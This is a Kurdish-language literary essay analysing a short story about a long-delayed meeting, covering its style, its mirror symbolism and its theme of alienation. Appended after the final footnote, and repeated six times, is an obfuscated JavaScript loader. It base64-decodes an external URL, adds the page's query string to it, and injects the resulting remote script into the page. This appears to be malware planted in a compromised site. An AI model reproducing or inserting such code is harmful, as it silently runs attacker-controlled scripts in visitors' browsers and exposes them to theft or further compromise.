دیدارەك بێ ژڤان
محسن عەبدلڕەحمان
دەستەواژەیا (سەرێ چەند سالا بوو، دڤیا بچیتە دیدارا وی) وەكو وییە یێ پشتی سالێن درێژ ئازادبووی، ڤێچا دڤێت ل جهێن ڤەكری بگەڕیێت، د ڤێ گەڕیانێدا دیدارا وی ژبیرنەكر، راستە لەهی ژ چپكەكێ و شەواتا مەزن ب جریسكەكێ دەستپێدكەت، (لێ ترسێ و شەرمێ داگیركربوو) شەرم تایبەتمەندییەك كەسییە و سالۆخەتەك د ناخێدایە، لێ ترس یاوەرگرتیی حەزێ پالدا ل سەر شەرمێ ل سەر ترسێ زالبیت، لێ (رویێ وی نەدگرت ل بەرامبەر ب راوەستیت، هەرجار ب بەهانەكێ رێكا خوە دگوهاڕت و دیدار پاش دئێخست) ئەڤە نیشانا هزركرن و هەڤڕكییەك درێژە، ب گەرمییا ئاگرێ بیردانكێ یێ نانێ خۆ ل سەر سێهلا پەرۆشیێ دپێژیت، بیرهاتنێنن زارۆكینێ یێن نەهێنە ژبیركرن (بیرا وی ل رۆژێن زاروكینیێ بینیت)، داكو سۆزێن رۆژا گوینێ بجهبینیت، سۆز ژ داینێ تا وەرگری دو جیهانێن ژێكجودانە، مانێ گۆتنا شەڤ و رۆژێ وەكو ئێك نینە، (هەتا روژەكێ ژ نیشكانڤە خوە ل بەر سینگی دیت) دا ب ڤێ دیتنێ قوناغەكا نوی دەستپێبكەت!
دارشتن:
د جیهانا وێژەیدا شێوەیێ دارشتنێ یێ گرنگە و دق پەخشانكی جهەكێ ناوازە ڤەدگریت، ئەو د ناڤبەرا خۆشی و هونەریێدایە، دەقێ پەخشانكی نەتنێ پەیڤن دهێنە نڤێسین، بەلكو ئەو سەربۆرێن ژیانێنە یێن ژ پەرۆشی و دلینیێ د حەمەر، ئەڤ دەقە رەنگڤەدانا هەستانە هەمبەر وەلاتی و جڤاكی كو ب ئاماژەیێن هاڤیبوونەكا كوور داگرتییە، تێدا پەیڤ و رستە دبنە وێنەیێن وێژەیی یێن ژیندار، دژوارییا هێمایی ژی بەرجەستەبوونا قەبارێ ئێشان و ژدەستدانییە، رەڤینە ژ ژیوارەك تراژیدی بەرەڤ ژیوارەك ب هیڤییا باشتریێ، لێگەڕیانە ل جهەك بەرفرەهتر بو ڤەگرتنا هەستێن سەركوتكری، جاران ب تڕانەیا رەش دەربڕینێ دكەت، بو رەنگڤەدانا ئازارا نڤێسەری. ل ڤێرە ڤیان ژێیاتی بو وێژەڤانی ژێدەری ژانەك مەزنە (نە زێرەڤانەك لبەر دەری بوو رێكێ ل بگریت، نە ژی سكرتێرەك هەبوو، ژڤانەكی ژێ وەرگریت، لێ دیسا نە دشیا بچیت و ل دیدارا وی ب روینیت) رەوشەكا دەروونی و هەستەوەری یا ئالۆزە، دوبارەكرنا پەیڤ و دەستەواژەیان بۆ بهێزكرنا پەیاما هزرا خۆ وەكو ئامراز بكارئینانە، دا پتر د هزرا خواندەڤانیدا بچەسپینیت، دا كووراتییا شیزۆفرینیا نڤێسەر تیدا دژیت رەنگڤەدەت، ئەڤ دوبارەكرنە ریتما بەردەوامیێ ددەت دەقی.
خۆدیك
خۆدیك هێمایێ خۆ ڤەدیتنێ و د هەمان دەمدا خۆژدەستدان ب دیتنا راستیێ، خۆدیك هەڤدژییا د ناڤبەرا هەست و ژیوارییە، بدەستڤەئینان و ژدەسدا، ژیوار و ئاشۆپە، تنێ د خۆدیكێرا روویێ بینرای راستەقینە دهێتە دیتن، خۆپەرێسی و تنێبوونا وی دیاردبیت، وێنەیێ دابەشبوون و هەڤڕكییا ناڤخۆ و خۆیەتی بو ئاشكرادبیت، هینگێ هنگافتنا مەزنە، دەمێ مرۆڤ هەلوەشیانا خۆ یا خۆیەتی دبینیت، كو هەست ب شكەستنا راستەقینەیە و خەریبییەك زیدەترە بو نقومبوونێ بەرەڤ تەخێن ژێری دكەت،
جوانناسی
نڤێسەر ب شارەزایی هەرڤاندنا بتێ خۆپەرێسیێ و شكەستنا ناڤخۆیێ ب هویری سالۆخەتددەت، ئەڤە خواندەڤانی دبەتە گەشتەكا دەروونی و هەستیارییا لێكدای و ئالۆز، دەق ب وێنەیێن رۆهن و دەربڕینێن جوان یێ فرەرەهەندە، جیهانەك ژ هەڤدژان و رامانێن خازەیی كو ەمی رەنگڤەدانا رەوشا سەربۆرەكا كویرا رەشبینا ئالۆزە.
زمانی دەق ل سەر رامان و راڤەكرنێن ڤەكری هێلایە و رووبەرەك بەرفرەهتر بو هزر و ئاشۆپێ دایە خواندەڤانی، ئانكو زمان ژ ئامرازێ دەربڕینێ دەربازی ئاڤاكرنا جیهان و رامانێن نوی بوویە، چنكو دەستكرییە كاكلا كێشەیا مە كو خۆپەرێسییە و رەڤین ژ وێ خۆپەرێسیێ بەرەڤ ئارامگەهـ و پەناگەهەكی، لی ژبلی خۆدیكێ چ نەهێلایە، ئەڤە بیرا من ل گۆتنا شەكسبیری دئینیت (تا توژی پرۆتوس)!؟ ما پرۆتوس شیرحەرامیرە یان سیزەرێ ژبلی لێدانا خەنجەرێ چ رێك نەهێلاین!؟ یان لورد گرۆمەری گۆتی: (قازان ل سەر ئاگری بێی كون بو هەناسەكرنێ دێ پەقیت) قارەمانێ ە ژی د خۆدیكێ را ل قورتالبوونێ دگەڕیا، (وێنەیێ خۆ) بەرجەستەبوونا دژوارییا ناكۆكییا ناڤخۆیە ب هەمی رەهەندێن وێرانیێڤە.
هاڤیبوونی
چیرۆك گۆمان و لێپرسینە لدور بۆهایێ مرۆڤی و كردارا مرۆڤی ب هەبوونا پڕسیارا هەبوونگەریا مەزن، ئەوژی مفا و دووماهییا خۆپەرێسیێ، یان بەرزەبوونا مە د ناڤبەرا هیخوازی و خۆپەرێسیێدا كو ب چ رەنگا نابیتە گەشتا لێگەڕیانێ، ب كێمی رەوشا نڤێسەری وەكو ئەندامەكێ جڤاكی دەربڕینە ژ رەوشا پشكەكا ئەندامێن جڤاكی، (عاشقەكێ چەندین سالا یارا خوە نەدیتی) ئەو كەسێ دگەل خۆ و خۆ نەبینیت، ئەو د بەرزەبوونەكا گیانییا گرێدای بیردانك و جهیدایە، ما نەهاڤیبوونەك كۆژە دەمێ وارێ بیانییان بو مرۆڤی دبیتە جهێ ئارام، و گاڤا خۆ دبینیت، ل شوینا خۆ ل گەل خۆ ئاشتبكەت و خۆ هەمبێزبكەت، هاڤیبوون دگەهیتە كۆپیتكێ (ل خوە بكەتە قێژی) كو رەوشا هاڤیبوونا جەستەی ب ژ دەستدانا بۆهایێن مرۆڤینییە، (و بێژیت، كا خەونێن تە، كا ئارمانجێن تە) نەبوونا خەون و ئارمانجێ هێمایێ وێرانییا ژێیاتیێیە، ب ڤێ دستەواژی كۆمكرن د ناڤبەرا جودابوون و هاڤیبوونێ هاتییەكرن، كو بەرزەبوونا دەروونێ د رۆهنترین وێنەدایە، (نەدڤێت دیدارێ ب دووماهیك بینیت، نەدشێت پەیڤەكێ بێژیت).
كرمێ دارێ
چاوا «هەژاری و گاوری جێمكن» وەسا گەندەلی و ستەمكاری جێمكن، هەر جهێ گەندەلیێ جهێ خۆ لێكر ستەمكاری لێ نیشتەجیوو! نڤێسەری ب هەستكرنەك كوور چیرۆكەك تمام و گەهشتی ب شیانێن هۆنەری ل دور هزرا جودابوون و هاڤیبوونێ، كو هاڤیبوون ب ڤەدەربوون و جودابوونێ دەستپێدكەت، ئەوا ب پەیڤێن سادە وەكو سەربۆرەكا ب ژان پێشاندای، ب رێكا ڤەگێڕانێ كو رۆناهی بەردایە ناڤ ناخێ مرۆڤی و ئەزمان ئینایە پەیڤین، دا پردێ ل سەر یا بۆری ڤدە و دەرپۆشی ل سەر گەنییاتیێ راكەت!
سیتاڤ
جوانناسی: ڤەگۆهاستنا هەستان ب راستگۆیێ و دلینی و هویری و پێشاندانا وێ وەك رەوشەك مرۆڤینیی ژ ئەنجامێ پەشێمانییا دەم ف سەرڤەچووی و كەس نەیێ ئامادە گوهداریێ بكەت، بۆ دەربڕینێ ب شارەزایی برییە بەر خۆدیكە و ئەڤە وێنەیێ دانپێدانان كەسێ فەلە بو قەشەی ل بیردئینیت، نەراستەوخۆیا دانپێدانێ و ب كارئینانا خوازەیێ دگەل سادەیا جوانناسیێ ل سەر دەقی زالە، ئەڤێ جڤاك د كەسێ كاراكتەریدا ل هەمبەر خۆدیكێ دانایە دا كرێتییا هاڤیبوونا خۆ یا هەمەرەنگی ببینیت، خۆدیك هێمایێ رویسكرنێ ژ جلك و ماسكان و بەرۆڤاژیكرنا ناخییە، ئەڤێ دفنبلند ل بەر وێ خۆدیكا سێهربەند دفنبلندییا وان شۆردبیتە بەر پێیان، دفنبلندییا سەختە و ڤالا ل مالییە ئەوا ل دەرڤە و پێش یێن دی شۆردبیتە ژێر سۆلان ، ئەم نەپترین ژ سیتاڤكەكا خاڤ و نە هێژا بۆ وانا دفنبلندێن نەهەژی، ئەو شابیتەنە، هەلامەتە مرۆڤن! ل هەمبەر خۆدیكێ ڤەدگەڕن رەسەناتییا خۆ یا كرمیێ!
1 كورتەچیرۆكا (ژڤان) یا چیرۆكنڤێس (مەتین وەرمێلی) د روژنامەیا – ئەڤرۆ یا ژمارە(3562) دا بەلاڤبوویە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
